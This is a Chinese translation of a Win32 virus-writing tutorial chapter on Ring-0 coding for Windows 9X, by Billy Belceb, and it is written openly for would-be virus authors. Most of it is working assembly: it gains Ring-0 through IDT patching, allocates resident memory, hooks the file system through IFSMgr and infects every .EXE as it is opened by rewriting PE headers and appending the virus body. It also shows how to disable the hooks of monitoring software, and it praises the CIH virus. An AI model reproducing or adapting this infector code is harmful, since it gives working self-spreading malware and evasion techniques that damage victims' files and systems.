Billy Belceb 病毒編寫教程for Win32 ----Ring-0,系統級編碼
【Ring-0,在上帝級編碼】
~~~~~~~~~~~~~~~~~~~~~~
自由!你熱愛嗎?在Ring-0,我們在限制之外,那裡沒有任何限制。因為Micro$oft的無能,我們有很多的方法跳到這個級別,一個理論上不能到達的地方。但是,我們可以在Win9X系統中跳轉到Ring-0:)
例如,Micro$oft的傻瓜們沒有保護中斷表。這在我的眼中是一個巨大的安全失敗。但話又說過來,如果我們可以利用它編寫病毒,它就不是一個錯誤了,它就是一個禮物!;)
% 來到 Ring-0 %
~~~~~~~~~~~~~~~
好了,我將解釋在我看來最簡單的方法,那就是IDT修改。IDT(Interrupt Descriptor Table)不是一個固定的地址,所以我們必須使用指令來定位它,那就是SIDT。
----------------------------------------------------------------------------
_______________________________________________________
| SIDT - Store Interrupt Descriptor Table (286+ 專有) |
|_______________________________________________________|
+ 用法: SIDT 目標
+ 修改標記: 無
儲存Interrupt Descriptor Table (IDT)暫存器到指定運算元中。
Clocks Size
Operands 808X 286 386 486 Bytes
mem64 - 12 9 10 5
0F 01 /1 SIDT mem64 Store IDTR to mem64
----------------------------------------------------------------------------
如果我們使用SIDT還不夠清晰的話,它僅僅儲存IDT的FWORD偏移(WORD:DWORD格式)。而且,如果我們知道了IDT在哪裡,我們可以修改中斷向量,並使它們指向我們的程式碼。展示給你的是Micro$oft的蹩腳的程式碼編寫者。讓我們繼續我們的工作。在使中斷向量改變後指向我們的程式碼(並把它們儲存,以備以後恢復)之後,我們只要呼叫我們已經鉤住(hook)的中斷即可。如果看起來現在對你還不清晰,下面是透過修改IDT的方法來跳到Ring-0的程式碼。
;---------從這兒開始剪下----------------------------------------------------
.586p ; Bah... simply for phun.
.model flat ; Hehehe i love 32 bit stuph ;)
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
Interrupt equ 01h ; Nothing special
.data
szTitle db "Ring-0 example",0
szMessage db "I'm alive and kicking ass",0
;------------------------------------------------------------------------------
;好了,這一段對你來說已經相當清晰了,是嗎? :)
;------------------------------------------------------------------------------
.code
start:
push edx
sidt [esp-2] ; Interrupt table to stack
pop edx
add edx,(Interrupt*8)+4 ; Get interrupt vector
;------------------------------------------------------------------------------
; 這相當簡單。SIDT,正如我以前解釋過的,把IDT的地址儲存到一個記憶體地址中,為了
; 我們的簡單起見,我們直接使用了堆疊。接下來是一個POP指令,它把IDT的偏移地址
; 裝載到暫存器(這裡為EDX)中。下一行是僅僅為了定位我們想要的中斷的偏移地址。這
; 就和在DOS下玩IVT一樣...
;------------------------------------------------------------------------------
mov ebx,[edx]
mov bx,word ptr [edx-4] ; Whoot Whoot
;------------------------------------------------------------------------------
; 相當簡單。它僅僅是為了將來恢復,把EDX指向的內容儲存到EBX中
;------------------------------------------------------------------------------
lea edi,InterruptHandler
mov [edx-4],di
ror edi,16 ; Move MSW to LSW
mov [edx+2],di
;------------------------------------------------------------------------------
; 我以前是不是說過了它有多簡單? :)這裡,我們給EDI指向新中斷處理的偏移地址,下
; 面的3行是把那個處理放到IDT中。為什麼那樣ROR呢?嗯,如果你使用ROR,SHR或SAR都
; 沒關係,因為它僅僅把中斷處理偏移的MSW(More Significant Word)移到LSW (Less
; Significant Word)中,然後儲存。
;------------------------------------------------------------------------------
push ds ; Safety safety safety...
push es
int Interrupt ; Ring-0 comez hereeeeeee!!!!!!!
pop es
pop ds
;------------------------------------------------------------------------------
;Mmmm...很有意思。我們為了安全起見,把DS和ES壓棧了,避免一些罕見的錯誤,但是
;它可以不用它工作,相信我。因為中斷已經被補丁過了,除了設定這個中斷之外,不用
;做其它任何事情了...現在我們已經在RING0裡了,下面的程式碼是繼續InterruptHandler
;------------------------------------------------------------------------------
mov [edx-4],bx ; Restore old interrupt values
ror ebx,16 ; ROR, SHR, SAR... who cares?
mov [edx+2],bx
back2host:
push 00h ; Sytle of MessageBox
push offset szTitle ; Title of MessageBox
push offset szMessage ; The message itself
push 00h ; Handle of owner
call MessageBoxA ; The API call itself
push 00h
call ExitProcess
ret
;------------------------------------------------------------------------------
;現在除了恢復原先的儲存在EBX中的中斷向量外,沒做其它更多的事情。然後,我們
;返回程式碼到主體。(好了,只是假設是那樣) ;)
;------------------------------------------------------------------------------
InterruptHandler:
pushad
; 下面是你的程式碼 :)
popad
iretd
end start
;---------從這兒為止剪下----------------------------------------------------
現在我們可以訪問它了。我想所有人都可以做它,但是現在對於普通病毒在第一次訪問Ring-0時又面臨一個問題:我們為什麼現在做呢?
% 在 Ring-0 下編寫病毒 %
~~~~~~~~~~~~~~~~~~~~~~~~
我喜歡開始有一點點演算法的教程,所以你將來我們該怎樣在Ring-0編寫病毒的時候碰到一個。
----------------------------------------------------------------------
1.測試執行的作業系統(OS):如果NT,跳過病毒並返回目錄給主體
2.跳到Ring-0(IDT,VMM插入或呼叫門技術)
3.執行一箇中斷,它包含了感染程式碼。
3.1.獲得一個放置病毒駐留的地方(開闢頁或者在堆中)
3.2.把病毒放進去
3.3.鉤住檔案系統並儲存舊的鉤子
3.3.1.在FS Hook中,首先要儲存所有的引數並修復ESP
3.3.2.引數壓棧
3.3.3.然後檢查系統是否試圖開啟一個檔案,如果沒有,跳過
3.3.4.如果試圖開啟,首先把檔名轉化成ASCII碼
3.3.5.然後檢查是否是一個EXE檔案。如果不是,跳過感染
3.3.6.開啟,讀檔案頭,操作,重寫,新增和關閉
3.3.7.呼叫舊的鉤子
3.3.8.跳過所有的返回到ESP的引數
3.3.9.返回
3.4.返回
4.恢復舊的中斷向量
5.返回控制權給主體
----------------------------------------------------------------------
這個演算法有一點點大,無論如何我可以使它更概要,但是我更願意直接行動。OK,來吧,Let's go!
當檔案執行時測試作業系統
~~~~~~~~~~~~~~~~~~~~~~~~
因為在NT下Ring-0有些問題(Super,解決它們!),我們必須我們所在的作業系統,如果不是Win9X平臺就返回控制權給主體。好了,有很多方法去做這個:
+ 使用 SEH
+ 檢查程式碼段的值
好了,我假設你已經知道了怎麼玩SEH,對嗎?我在另外一章已經解釋了它的用法,所以現在是去讀一下它的時候了:)關於第二個可能的事情,下面是程式碼:
mov ecx,cs
xor cl,cl
jecxz back2host
這個例子的解釋:在Windows NT中,程式碼段總是小於100h,而在Win95/98中總是大一些,所以我們清除它的低位位元組,而且如果它比100小,ECX將為0,反過來,如果它比100大,它將不會是0:)最佳化了,耶;)
%跳到Ring-0並執行中斷%
~~~~~~~~~~~~~~~~~~~~~~
好了,已經在這個文件中的訪問Ring-0部分解釋了最簡單的方法,所以關於這個我就不多說了:)
%我們已經在Ring-0裡了...該做什麼呢?%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
在Ring-0裡面,代之API,我們有VxD服務。VxD 服務以下面的形式訪問:
int 20h
dd vxd_service
vxd_service佔兩個字,MSW表明VxD號,而LSW表明我們從VxD中呼叫的函式。例如,我將使用VMM_PageModifyPermissions值:
dd 0001000Dh
↑_____↑_____ Service 000Dh _PageModifyPermissions
|_______ VxD 0001h VMM
所以,為了呼叫它,我們必須如下做:
int 20h
dd 0001000Dh
一個非常聰明的編碼方式是編寫一個宏來自動做這個,並使號碼為EQUates。但是,那是你的選擇。這個值是固定的,所以,在Win95和Win98中一樣。不要擔心,Ring-0的一個好處是你不需要在Kernel中或其它地方搜尋偏移地址(當我們使用API的時候),因為沒有必要做它,必須硬編碼:)
這裡我必須宣告一個我們在編寫一個Ring-0病毒的時候必須清除的非常重要的事情:int 20h和地址,我演示給你的訪問VxD的函式,在記憶體中如下:
call dword ptr [VxD_Service] ; 回撥服務
你可以認為有點愚蠢,但是,它非常重要,而且真的很痛苦,因為病毒用這些CALL而不是int和服務的雙字偏移來複制到宿主,這使得病毒只能在你的計算機上執行,而不能在其他人的機器上執行:(在現實生活中,這個麻煩有許多解決方法。它們中的其中的一個,正如Win95.Padania所做的,在每個VxD呼叫後面修復它。另外的方法是:做一個所有的偏移地址的表來修復,直接做等等。下面是我的程式碼,而且你可以在我的Garaipena和PoshKiller中看到它:
VxDFix:
mov ecx,VxDTbSz ; 傳送例程的次數
lea esi,[ebp+VxDTblz] ; 指向表的指標
@lo0pz:lodsd ; 把當前表的偏移地址裝載到EAX中
add eax,ebp ; 加上delta 偏移
mov word ptr [eax],20CDh ; 放到那個地址中
mov edx,dword ptr [eax+08h] ; 獲得 VxD 服務值
mov dword ptr [eax+02h],edx ; 並恢復它
loop @lo0pz ; 校正另外一個
ret
VxDTblz label byte ; 所有有VXD呼叫的偏移地址表
dd (offset @@1)
dd (offset @@2)
dd (offset @@3)
dd (offset @@4)
; [...] 所有其它的呼叫VxD函式的指標必須列在這裡 :)
VxDTbSz equ (($-offset VxDTblz)/4) ; 個數
我希望你理解了每個我們呼叫的VxD函式必須有它的偏移地址。哦,我幾乎忘了另外一件重要的事情:如果你正在使用我的VxD修正過程,你的VxDCall宏該怎樣。下面給出:
VxDCall macro VxDService
local @@@@@@
int 20h ; CD 20 +00h
dd VxDService ; XX XX XX XX +02h
jmp @@@@@@ ; EB 04 +06h
dd VxDService ; XX XX XX XX +08h
@@@@@@:
endm
OK,現在我們需要一個駐留的地方。我個人偏向於放在net堆中,因為它很容易編寫(懶人的規則!)。
---------------------------------------------------------------------------
** IFSMgr_GetHeap - 開闢一塊net堆
+ 除非IFSMgr執行了SysCriticalInit,否則這個服務將不合法
+ 這個函式使用 C6 386 _cdecl 呼叫順序
+ 入口 -> TOS - 需要大小
+ 出口 -> EAX - 堆塊的地址,如果失敗為0
+ 使用 C 暫存器 (eax, ecx, edx, flags)
---------------------------------------------------------------------------
以上是一些Win95 DDK的資訊。讓我們看看關於這個的例子:
InterruptHandler:
pushad ; Push 所有暫存器
push virus_size+1024 ; 我們需要的記憶體 (virus_size+buffer)
; 當你使用緩衝區的時候,更好
; 把它加上更多的位元組
@@1: VxDCall IFSMgr_GetHeap
pop ecx
夠清楚了吧?正如DDK所說的,如果它失敗了,它將在EAX中返回給我們0,所以檢查可能的失敗。接下來的POP非常重要,因為VxD的大多數服務不修正堆疊,所以我們在呼叫VxD函式之前壓棧的值還在堆疊中。
or eax,eax ; cmp eax,0
jz back2ring3
如果函式成功了,我們在EAX中得到了我們必須移動的病毒主體的地址,那麼Let's go!
mov byte ptr [ebp+semaphore],0 ; Coz infection puts it in 1
mov edi,eax ; Where move virus
lea esi,ebp+start ; What to move
push eax ; Save memory address for later
sub ecx,1024 ; We move only virus_size
rep movsb ; Move virus to its TSR location ;)
pop edi ; Restore memory address
我們在一個記憶體地址中的是病毒,準備TSR的,對嗎?而且在EDI中是病毒在記憶體中開始的地址,所以我們可以把它作為下個函式的delta offset:)好了,我們現在需要hook檔案系統了對嗎?OK,有一個函式可以做這個工作。很驚訝,是把? Micro$oft微軟工程師為我們做了累活。
---------------------------------------------------------------------------
** IFSMgr_InstallFileSystemApiHook - 安裝一個檔案系統 api hook
這個服務為呼叫者安裝一個檔案系統api hook。這個hook在IFS manager 和一個FSD之間,鉤子可以看任何IFS manager對FSD的任何呼叫。
這個函式使用C6 386 _cdecl 呼叫順序
ppIFSFileHookFunc
IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc )
入口 TOS - 將要安裝作為鉤子的函式的地址
出口 EAX - 指向在這個鏈中的包含以前鉤子的地址變數
使用 C 暫存器
---------------------------------------------------------------------------
清楚了吧?如果不,我希望你在看了一些程式碼之後,理解了它。好了,讓我們鉤住檔案系統(hook FileSystem)...
lea ecx,[edi+New_Handler] ; (vir address in mem + handler offs)
push ecx ; Push it
@@2: VxDCall IFSMgr_InstallFileSystemApiHook ; Perform the call
pop ecx ; Don't forget this, guy
mov dword ptr [edi+Old_Handler],eax ; EAX=Previous hook
back2ring3:
popad
iretd ; return to Ring-3. Yargh
好了,我們已經看完了Ring-0病毒的安裝部分。現在,我們必須編寫檔案系統(FileSystem)的處理部分了:)簡單,但是否如你所想?:)
FileSystem Handler:真正有趣!!!
耶,下面是駐留感染它自己,但是我們在開始之前不得不做些事情。首先,我們必須對堆疊做一個安全複製,也就是說儲存ESP內容到EBP暫存器中。然後,我們應該把ESP減去20h,為了修正堆疊指標。讓我們看看一些程式碼:
New_Handler equ $-(offset virus_start)
FSA_Hook:
push ebp ; Save EBP content 4 further restorin
mov ebp,esp ; Make a copy of ESP content in EBP
sub esp,20h ; And fix the stack
現在,因為我們的函式要被系統用一些引數呼叫,我們應該push它們,就像原先的處理程式所做的。要push的引數從EBP+08h到EBP+1Ch,包含它們,並和IOREQ結構相關。
push dword ptr [ebp+1Ch] ; pointer to IOREQ structure.
push dword ptr [ebp+18h] ; codepage that the user string was
; passed in on.
push dword ptr [ebp+14h] ; kind of resource the operation is
; being performed on.
push dword ptr [ebp+10h] ; the 1-based drive the operation is
; being performed on (-1 if UNC).
push dword ptr [ebp+0Ch] ; function that is being performed.
push dword ptr [ebp+08h] ; address of the FSD function that
; is to be called for this API.
現在,我們已經把應該push的引數push到正確的地方了,所以對它們不要再擔心了。現在,我們必須檢查你將要操作的IFSFN函式。下面你得到的是最重要的小列表:
-------------------------------------------------------------------------------
** 傳送給 IFSMgr_CallProvider 的IFS函式ID
IFSFN_READ equ 00h ; read a file
IFSFN_WRITE equ 01h ; write a file
IFSFN_FINDNEXT equ 02h ; LFN handle based Find Next
IFSFN_FCNNEXT equ 03h ; Find Next Change Notify
IFSFN_SEEK equ 0Ah ; Seek file handle
IFSFN_CLOSE equ 0Bh ; close handle
IFSFN_COMMIT equ 0Ch ; commit buffered data for handle
IFSFN_FILELOCKS equ 0Dh ; lock/unlock byte range
IFSFN_FILETIMES equ 0Eh ; get/set file modification time
IFSFN_PIPEREQUEST equ 0Fh ; named pipe operations
IFSFN_HANDLEINFO equ 10h ; get/set file information
IFSFN_ENUMHANDLE equ 11h ; enum file handle information
IFSFN_FINDCLOSE equ 12h ; LFN find close
IFSFN_FCNCLOSE equ 13h ; Find Change Notify Close
IFSFN_CONNECT equ 1Eh ; connect or mount a resource
IFSFN_DELETE equ 1Fh ; file delete
IFSFN_DIR equ 20h ; directory manipulation
IFSFN_FILEATTRIB equ 21h ; DOS file attribute manipulation
IFSFN_FLUSH equ 22h ; flush volume
IFSFN_GETDISKINFO equ 23h ; query volume free space
IFSFN_OPEN equ 24h ; open file
IFSFN_RENAME equ 25h ; rename path
IFSFN_SEARCH equ 26h ; search for names
IFSFN_QUERY equ 27h ; query resource info (network only)
IFSFN_DISCONNECT equ 28h ; disconnect from resource (net only)
IFSFN_UNCPIPEREQ equ 29h ; UNC path based named pipe operation
IFSFN_IOCTL16DRIVE equ 2Ah ; drive based 16 bit IOCTL requests
IFSFN_GETDISKPARMS equ 2Bh ; get DPB
IFSFN_FINDOPEN equ 2Ch ; open an LFN file search
IFSFN_DASDIO equ 2Dh ; direct volume access
-------------------------------------------------------------------------------
對我們來說的第一件事,我們感興趣的唯一的函式是24h,那就是說開啟。系統幾乎每時每刻都在呼叫那個函式,所以對它沒有任何問題。為這個編碼就和你能想象的一樣簡單:)
cmp dword ptr [ebp+0Ch],24h ; Check if system opening file
jnz back2oldhandler ; If not, skip and return to old h.
現在開始有意思的。我們知道這裡系統請求檔案開啟,所以現在該我們了。首先,我們應該檢查我們是否在進行我們自己的呼叫...簡單,僅僅加一個小變數,它將出現一些問題。Btw,我幾乎忘了,獲得delta offset :)
pushad
call ring0_delta ; Get delta offset of this
ring0_delta:
pop ebx
sub ebx,offset ring0_delta
cmp byte ptr [ebx+semaphore],00h ; Are we the ones requesting
jne pushnback ; the call?
inc byte ptr [ebx+semaphore] ; For avoid process our own calls
pushad
call prepare_infection ; We'll see this stuff later
call infection_stuff
popad
dec byte ptr [ebx+semaphore] ; Stop avoiding :)
pushnback:
popad
現在我將繼續介紹處理程式本身,然後,我將解釋我是怎麼做這些例程的,prepare_infection 和 infection_stuff。如果系統正在請求一個呼叫,我們就退出我們將要處理的例程,OK?現在,我們必須編寫呼叫舊的FileSystem hook的例程。當你還記得(我假設你沒有alzheimer),我們push了所有引數,所以我們該做的唯一的事情是裝到暫存器中,舊地址沒關係,然後呼叫那個記憶體位置。然後,我們把ESP加18h(為了能夠獲得返回地址),完了。你將最好看看一些程式碼,所以,你將看到:
back2oldhandler:
db 0B8h ; MOV EAX,imm32 opcode
Old_Handler equ $-(offset virus_start)
dd 00000000h ; here goes the old handler.
call [eax]
add esp,18h ; Fix stack (6*4)
leave ; 6 = num. paramz. 4 = dword size.
ret ; Return
感染準備
^^^^^^^^
這是Ring-0程式碼的主要部分的一方面。讓我們現在看看Ring-0編寫程式碼的細節。當我們在鉤子處理中的時候,有兩個呼叫,對嗎?這不是必須的,但是我為了使程式碼更簡單,那麼做了,因為我喜歡使事情結構化。
在第一次呼叫的時候,我呼叫的prepare_infection僅僅因為一個原因做了一件事情。系統作為一個引數給我們的檔名,但是我們有一個問題。系統以UNICODE形式給我們的,而且對我們來說它沒有什麼用。所以,我們需要把它轉換成ASCII碼,對嗎?我們有一個VxD服務可以為我們做這件事。它的名字:UniToBCSParh。下面是你喜歡的原始碼。
prepare_infection:
pushad ; Push all
lea edi,[ebx+fname] ; Where to put ASCII file name
mov eax,[ebp+10h]
cmp al,0FFh ; Is it in UNICODE?
jz wegotdrive ; Oh, yeah!
add al,"@" ; Generate drive name
stosb
mov al,":" ; Add a :
stosb
wegotdrive:
xor eax,eax
push eax ; EAX = 0 -> Convert to ASCII
mov eax,100h
push eax ; EAX = Size of string to convert
mov eax,[ebp+1Ch]
mov eax,[eax+0Ch] ; EAX = Pointer to string
add eax,4
push eax
push edi ; Push offset to file name
@@3: VxDCall UniToBCSPath
add esp,10h ; Skip parameters returnet
add edi,eax
xor eax,eax ; Make string null-terminated
stosb
popad ; Pop all
ret ; Return
感染本身
^^^^^^^^
下面我將告訴你怎樣到達直到你你必須的應用感染後的檔案應該有的新的PE頭和節頭的值。但是,我不會解釋怎麼操作它們了,不是因為我懶,僅僅是因為這是Ring-0程式碼編寫一章,而不是PE感染一章。這個部分和FileSystem 鉤子程式碼的infection_stuff 部分相符。首先,我們必須檢查我們將要操作的檔案是否是一個.EXE檔案還是其它不感興趣的檔案。所以,首先,我們必須在檔名字裡尋找0值,它告訴我們它的末尾。這編寫起來很簡單:
infection_stuff:
lea edi,[ebx+fname] ; Variable with the file name
getend:
cmp byte ptr [edi],00h ; End of filename?
jz reached_end ; Yep
inc edi ; If not, search for another char
jmp getend
reached_end:
我們在EDI裡是ASCII字串裡的0值,正如你知道的,它標誌著字串的結尾,也就是在這種情況下,檔名。下面是我們的主要檢查,看看它是否是一個.EXE檔案,如果它不是,跳過感染。我們還可以檢查.SCR(Windows屏保),正如你知道的,它們也是可執行檔案...這就是你的選擇。下面給你一些程式碼:
cmp dword ptr [edi-4],"EXE." ; Look if extension is an EXE
jnz notsofunny
正如你能看到的,我比較了EDI-5次。
現在我們知道了那個檔案是一個EXE檔案:)所以該是移除它的屬性,開啟檔案,修改相關域,關閉檔案並恢復屬性的時候了。所有這些函式由另外一個IFS服務完成,那就是IFSMgr_Ring0_FileIO。我沒有找到關於全部這個的文件,總之也沒有必要,它有很多的函式,正如我以前所說的,所有我們需要函式僅僅是為了進行檔案感染。讓我們VxD服務IFSMgr_Ring0_FileIO傳送到EAX中的數值:
-----------------------------------------------------------------------
;函式定義在ring-0的API函式列表中:
;說明:大多數函式是上下文相關的,除非被明確的規定了,也就是說,它們不使用當前執行緒的上下文。;R0_LOCKFILE是唯一的例外-它總是使用當前執行緒的上下文。
R0_OPENCREATFILE equ 0D500h ; Open/Create a file
R0_OPENCREAT_IN_CONTEXT equ 0D501h ; Open/Create file in current contxt
R0_READFILE equ 0D600h ; Read a file, no context
R0_WRITEFILE equ 0D601h ; Write to a file, no context
R0_READFILE_IN_CONTEXT equ 0D602h ; Read a file, in thread context
R0_WRITEFILE_IN_CONTEXT equ 0D603h ; Write to a file, in thread context
R0_CLOSEFILE equ 0D700h ; Close a file
R0_GETFILESIZE equ 0D800h ; Get size of a file
R0_FINDFIRSTFILE equ 04E00h ; Do a LFN FindFirst operation
R0_FINDNEXTFILE equ 04F00h ; Do a LFN FindNext operation
R0_FINDCLOSEFILE equ 0DC00h ; Do a LFN FindClose operation
R0_FILEATTRIBUTES equ 04300h ; Get/Set Attributes of a file
R0_RENAMEFILE equ 05600h ; Rename a file
R0_DELETEFILE equ 04100h ; Delete a file
R0_LOCKFILE equ 05C00h ; Lock/Unlock a region in a file
R0_GETDISKFREESPACE equ 03600h ; Get disk free space
R0_READABSOLUTEDISK equ 0DD00h ; Absolute disk read
R0_WRITEABSOLUTEDISK equ 0DE00h ; Absolute disk write
-----------------------------------------------------------------------
迷人的函式,是吧?:)如果我們看看,它提醒了我們DOS int 21h函式。但是這個更好:)
好了,讓我們儲存舊的檔案屬性。正如你能看到的,這個函式是在我以前給你的列表中的,我們把這個引數(4300h)放到EAX中為了獲得檔案的屬性到ECX中。所以,在那之後,我push它和檔名,它在ESI中。
lea esi,[ebx+fname] ; Pointer to file name
mov eax,R0_FILEATTRIBUTES ; EAX = 4300h
push eax ; Save it goddamit
VxDCall IFSMgr_Ring0_FileIO ; Get attributes
pop eax ; Restore 4300h from stack
jc notsofunny ; Something went wrong (?)
push esi ; Push pointer to file name
push ecx ; Push attributes
現在我們必須把它們去掉。沒問題。設定檔案屬性的函式是,以前在IFSMgr_Ring0_FileIO中,但是現在是4301h。就像你在DOS下看到的這個值:)
inc eax ; 4300h+1=4301h :)
xor ecx,ecx ; No attributes sucker!
VxDCall IFSMgr_Ring0_FileIO ; Set new attributes (wipe'em)
jc stillnotsofunny ; Error (?!)
現在我們有一個沒有屬性的等著我們的檔案了...我們該做什麼呢?呵呵,我認為你是聰明的。讓我們開啟它!:)就像所有病毒中的這個部分一樣,我們不得不呼叫IFSMgr_Ring0_FileIO,但是現在為開啟檔案傳送到EAX中的是D500h。
lea esi,[ebx+fname] ; Put in ESI the file name
mov eax,R0_OPENCREATFILE ; EAX = D500h
xor ecx,ecx ; ECX = 0
mov edx,ecx
inc edx ; EDX = 1
mov ebx,edx
inc ebx ; EBX = 2
VxDCall IFSMgr_Ring0_FileIO
jc stillnotsofunny ; Shit.
xchg eax,ebx ; Optimize a bit, sucka! :)
現在我們在EBX中的是開啟檔案的控制程式碼,所以如果你在檔案關閉之前不使用這個檔案將會完美,好嗎?:)現在該是你讀PE檔案頭並儲存它(和操作它)的時候了,然後更新檔案頭,附加上病毒...這裡我將僅僅解釋怎樣處理PE頭的屬性,因為它是這個教程的另外一部分了,而且我不想太多重複。我打算解釋如何把PE頭儲存到我們的緩衝區中。它相當簡單:如果你還記得,PE頭從偏移地址3Ch(當然是從BOF開始)開始。然後我們必須讀4位元組(這個3Ch處的DWORD),並在這個偏移地址處再次讀,這次,是400h位元組,足夠處理整個PE頭了。正如你能想象的,讀檔案中的函式是在很棒的IFSMgr_Ring0_FileIO中,而且你可以看到我以前給你的表中的正確號碼,在R0_READFILE中。傳遞給這個函式的引數如下:
EAX = R0_READFILE = D600h
EBX = File Handle
ECX = Number of bytes to read
EDX = Offset where we should read
ESI = Where will go the read bytes
call inf_delta ; 如果你還記得,我們在EBX中是delta offset
inf_delta: ; 但是開啟檔案之後,我們在EBX中是檔案的控制程式碼
pop ebp ; 所以我們必須重新計算它。
sub ebp,offset inf_delta ;
mov eax,R0_READFILE ; D600h
push eax ; Save it for later
mov ecx,4 ; Bytes to read, a DWORD
mov edx,03Ch ; Where read (BOF+3Ch)
lea esi,[ebp+pehead] ; There goez the PE header offzet
VxDCall IFSMgr_Ring0_FileIO ; The VxDCall itself
pop eax ; restore R0_READFILE from stack
mov edx,dword ptr [ebp+pehead] ; Where the PE header begins
lea esi,[ebp+header] ; Where write the read PE header
mov ecx,400h ; 1024 bytes, enough for all PE head.
VxDCall IFSMgr_Ring0_FileIO
現在我們透過看它的標誌要看看我們剛才開啟的檔案是否是一個PE檔案。我們在ESI中的是指向我們放置PE頭的緩衝區,所以只要把ESI中的第一個DWORD和PE,0,0作比較即可(或者簡單的用WORD和PE進行比較) ;)
cmp dword ptr [esi],"EP" ; 它是PE嗎?
jnz muthafucka
現在你該檢查以前的感染了,如果以前已經感染過了,只要到諸如關閉檔案的地方即可。正如我以前所說的,我將跳過修改PE頭的程式碼,因為假設你已經知道怎麼做了。好了,想象一些你已經合適地修改了緩衝區裡的PE頭(在我的程式碼裡,變數叫做header)。現在該是把新的頭寫到PE檔案裡的時候了。暫存器裡的值應該是和
R0_READFILE函式差不多的,我將這樣寫它們:
EAX = R0_WRITEFILE = D601h
EBX = File Handle
ECX = Number of bytes to write
EDX = Offset where we should write
ESI = Offset of the bytes we want to write
mov eax,R0_WRITEFILE ; D601h
mov ecx,400h ; write 1024 bytez (buffer)
mov edx,dword ptr [ebp+pehead] ; where to write (PE offset)
lea esi,[ebp+header] ; Data to write
VxDCall IFSMgr_Ring0_FileIO
我們已經寫完了頭。現在,我們只要新增病毒即可。我決定把它添在EOF目錄中,因為我的修改PE的方式...好了,我是用這種方法做的。但是不要擔心,應用的的感染方法是很簡單的,因為我假設你已經理解它是怎麼工作的了。就在附加病毒主體之前,記住我們應該修正所有的VxDCall,因為它們在呼叫的時候在記憶體中已經改變了。記住,我在這篇教程裡面教給你的VxD修正過程。另外,當我們在EOF處新增的時候,我們應該知道它佔多少位元組。相當簡單,我們在IFSMgr_Ring0_FileIO中有一個函式(為什麼不呢!)來做這個工作:R0_GETFILESIZE讓我們看看它的輸入引數:
EAX = R0_GETFILESIZE = D800h
EBX = File Handle
在EAX中返回給我們的是控制程式碼對應的檔案的大小,也就是我們試圖感染的檔案。
call VxDFix ; Re-make all INT 20h's
mov eax,R0_GETFILESIZE ; D800h
VxDCall IFSMgr_Ring0_FileIO
; EAX = File size
mov edx,R0_WRITEFILE ; EDX = D601h
xchg eax,edx ; EAX = D601; EDX = File size
lea esi,[ebp+virus_start] ; What to write
mov ecx,virus_size ; How much bytez to write
VxDCall IFSMgr_Ring0_FileIO
只剩下一些事情去做了。只要關閉檔案並恢復它的舊的屬性即可。當然關閉檔案的函式是我們熱愛的IFSMgr_Ring0_FileIO了,現在是函式D700h。讓我們看看它的輸入引數:
EAX = R0_CLOSEFILE = 0D700h
EBX = File Handle
現在是它的程式碼:
muthafucka:
mov eax,R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO
好了,只剩下一件事情去做了。恢復舊的屬性。
stillnotsofunny:
pop ecx ; Restore old attributos
pop esi ; Restore ptr to FileName
mov eax,4301h ; Set attributes function
VxDCall IFSMgr_Ring0_FileIO
notsofunny:
ret
終於完了! :) 另外,所有的這些"VxDCall IFSMgr_Ring0_FileIO"最好在一個子例程中,用一個簡單的call來呼叫它:它更最佳化了(如果你你使用我給你的VxDCall宏),它更好是因為只要把一個偏移放在VxDFix的表中就可以了。
%反VxD監視程式碼%
~~~~~~~~~~~~~~~
我必須不能忘記發現這個的人:Super/29A。此外,我應該解釋這個東西是怎麼回事。它和已經見過的InstallFileSystemApiHook服務有關,但是它沒有被Micro$oft寫成文件。InstallFileSystemApiHook服務返回給我們一個有意思的結構:
EAX + 00h -> Address of previous handler
EAX + 04h -> Hook_Info structure
而且正如你所想的,最重要的是Hook_Info 結構:
00h -> 鉤子處理的地址, 這個結構的第一個
04h -> 先前鉤子處理的地址
08h -> 先前鉤子的Hook_Info的地址
所以,我們對這個結構進行遞迴搜尋直到找到了第一個,被監視程式使用的鏈的頂部...然後我們必須修改它。程式碼?下面給出一部分 :)
; EDI = Points to virus copy in system heap
lea ecx,[edi+New_Handler] ; Install FileSystem Hook
push ecx
@@2: VxDCall IFSMgr_InstallFileSystemApiHook
pop ecx
xchg esi,eax ; ESI = Ptr actual hook
; handler
push esi
lodsd ; add esi,4 ; ESI = Ptr to Hook Handler
tunnel: lodsd ; EAX = Previous Hook Handler
; ESI = Ptr to Hook_Info
xchg eax,esi ; Very clear :)
add esi,08h ; ESI = 3rd dword in struc:
; previous Hook_Info
js tunnel ; If ESI < 7FFFFFFF, it was
; the last one :)
; EAX = Hook_Info of the top
; chain
mov dword ptr [edi+ptr_top_chain],eax ; Save in its var in mem
pop eax ; EAX = Last hook handler
[...]
如果你不懂,不要擔心,這是第一次:想象一下我讀懂Sexy的程式碼所花的時間!好了,我們已經把鏈頂存在一個變數裡了。接下來的的程式碼片斷是我們檢查一個系統開啟檔案的請求,而且我們知道這個呼叫不是由我們的病毒所做的,只是在呼叫感染程式之前。
lea esi,dword ptr [ebx+top_chain] ; ESI = Ptr to stored variable
lodsd ; EAX = Top Chain
xor edx,edx ; EDX = 0
xchg [eax],edx ; Top Chain = NULL
; EDX = Address of Top Chain
pushad
call Infection
popad
mov [eax],edx ; Restore Top Chain
這個簡單多了,啊?:)所有的概念("Hook_Info", "Top Chain", 等等)都是來自於Super,所以去懲罰一下他:)
%最後的話%
~~~~~~~~~~
我必須感謝3個在我編寫第一個Ring-0的東東幫助過我的最重要的人:Super,Vecna和nIgr0(你們是好樣的!)。好了,還有其它事情要說嗎?呃...耶。Ring-0是我們在Win9X下的美夢,是的。但是總是有限制。如果我們,毒客們,找到了一個在系統中如NT或者將來的Win2000(NT5)下獲取Ring-0特權的時候,就沒關係了。Micro$oft將會做一個補丁或者一個Service Pack來修復所有這些可能的bug。無論如何,編寫一個Ring-0病毒總是很有趣。對我來說經歷確實有意思,並且幫助我知道了更多關於Windows內部結構的東西。系統幾乎是胡亂的開啟檔案。只要看看其中的一個最多,最快的,傳播最廣的病毒是一個Ring-0病毒,CIH。
相關文章
- Billy Belceb 病毒編寫教程for Win32 ----附錄2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----Win32優化2004-05-28Win32優化
- Billy Belceb 病毒編寫教程for Win32 ----Win32多型2004-05-28Win32多型
